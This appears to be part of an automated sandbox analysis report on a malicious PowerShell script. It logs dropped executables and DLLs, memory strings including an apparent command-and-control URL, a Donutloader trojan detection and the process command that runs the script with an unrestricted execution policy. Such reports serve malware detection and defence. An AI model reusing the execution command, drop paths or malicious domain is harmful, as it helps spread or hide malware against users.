Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C820d04e8bfee2ac
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: setup.exe, 00000005.00000003.2782062262.00000000009E9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A81000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: powershell.exe, 00000000.00000002.2554907242.000001E72D424000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D14B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D48A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D232000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D1D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D37F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D33C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D275000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D18F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D4CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D2FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D2B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D3C1000.00000004.00000800.00020000.00000000.sdmp, fr.pak.0.dr, hr.pak.0.dr, am.pak.0.dr	String found in binary or memory: https://support.google.com/chrome/answer/6098869
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://system.data.sqlite.org/
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://twitter.com/share?original_referer=http://www.wisecleaner.com/&source=tweetbutton&text=A
Source: setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://w0rdergen1.cyou:443/apiw
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://wisecleaner.com/help/wiseforcedeleter/S
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DACC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.codeproject.com/Articles/54472/Defining-WPF-Adorners-in-XAML
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sqlite.org/copyright.html2
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ssl.com/repository0
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.wisecleaner.com/help.htmlS
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.wisecleaner.com/language.htmlU
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.wisecleaner.com/wise-force-deleter.html
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.wisecleaner.com/wise-force-deleter.htmlU
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.wisecleaner.comU
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823

Source: unknown	HTTPS traffic detected: 172.66.0.235:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.160.80:443 -> 192.168.2.5:49823 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe

Code function: 5_2_02CC5990 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

5_2_02CC5990

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe

Code function: 5_2_02CC5990 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

5_2_02CC5990

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.ClassicTheme.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\SQLite.Interop.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Register.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\libvlccore.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\libvlccore.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\rtl120.bpl	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x86\BouncyCastle.Crypto.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\Register.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x86\SQLite.Interop.dll	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe

Code function: 5_2_023629DA NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,

5_2_023629DA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF848E569D8	0_2_00007FF848E569D8
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_023629DA	5_2_023629DA
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0231061A	5_2_0231061A
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0231EA79	5_2_0231EA79
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02314A67	5_2_02314A67
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0231AB27	5_2_0231AB27
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0234BB17	5_2_0234BB17
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0231F38D	5_2_0231F38D
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02318817	5_2_02318817
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0231C065	5_2_0231C065
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02332857	5_2_02332857
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0234B8B7	5_2_0234B8B7
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_023200FB	5_2_023200FB
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02318147	5_2_02318147
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0231B987	5_2_0231B987
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_023471D7	5_2_023471D7
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_023339C7	5_2_023339C7
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0231A637	5_2_0231A637
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02315E67	5_2_02315E67
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0234BE47	5_2_0234BE47
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0233AE97	5_2_0233AE97
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0232F717	5_2_0232F717
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_023197C7	5_2_023197C7
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02317C27	5_2_02317C27
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0234C467	5_2_0234C467
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02315467	5_2_02315467
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02318CB7	5_2_02318CB7
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02317538	5_2_02317538
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0231B527	5_2_0231B527
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02331D07	5_2_02331D07
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0231CDA7	5_2_0231CDA7
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C99090	5_2_02C99090
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CCA9D0	5_2_02CCA9D0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C9E664	5_2_02C9E664
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C9A5CE	5_2_02C9A5CE
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C99A90	5_2_02C99A90
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C95AA4	5_2_02C95AA4
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CB0270	5_2_02CB0270
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C97220	5_2_02C97220
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C943D0	5_2_02C943D0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C98BA0	5_2_02C98BA0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CCA3B0	5_2_02CCA3B0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C9B310	5_2_02C9B310
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C9D8F6	5_2_02C9D8F6
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CCA080	5_2_02CCA080
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C939D0	5_2_02C939D0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C96190	5_2_02C96190
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CAB108	5_2_02CAB108
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C99EF0	5_2_02C99EF0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C966B0	5_2_02C966B0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CC9E20	5_2_02CC9E20
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C92FD0	5_2_02C92FD0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C9CFE2	5_2_02C9CFE2
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CC5740	5_2_02CC5740
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CB1F30	5_2_02CB1F30
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CAACCD	5_2_02CAACCD
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CADC80	5_2_02CADC80
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CB9400	5_2_02CB9400
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CB0DC0	5_2_02CB0DC0
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C96D80	5_2_02C96D80
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CAA50F	5_2_02CAA50F
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02C97D30	5_2_02C97D30

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\Extracted1\Register.dll 372B14FCE2EB35B264F6D4AEEF7987DA56D951D3A09EF866CF55ED72763CAA12
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\Extracted1\libvlccore.dll 9126D9ABF91585456000FFFD9336478E91B9EA07ED2A25806A4E2E0437F96D29

Source: libvlccore.dll0.0.dr	Static PE information: Number of sections : 12 > 10
Source: libvlccore.dll.0.dr	Static PE information: Number of sections : 12 > 10

Source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: MinionPro-BoldIt.otf.0.dr	Binary or memory string: .SLngd
Source: powershell.exe, 00000000.00000002.2549359328.000001E729AE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;.VBpuy

Source: classification engine

Classification label: mal100.troj.evad.winPS1@4/231@12/3

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe

Code function: 5_2_02310D2A CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,Thread32Next,

5_2_02310D2A

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe

Code function: 5_2_02CCA9D0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,GetVolumeInformationW,

5_2_02CCA9D0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Extracted1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5832:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lawaq4la.agj.ps1

Jump to behavior

Source: Yara match	File source: 5.0.setup.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.2697940557.00000000031CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2546385365.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Extracted1\resource_\rtl120.bpl, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe, type: DROPPED

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: psol.txt.ps1

ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\psol.txt.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\Extracted1\setup.exe "C:\Users\user\AppData\Roaming\Extracted1\setup.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\Extracted1\setup.exe "C:\Users\user\AppData\Roaming\Extracted1\setup.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
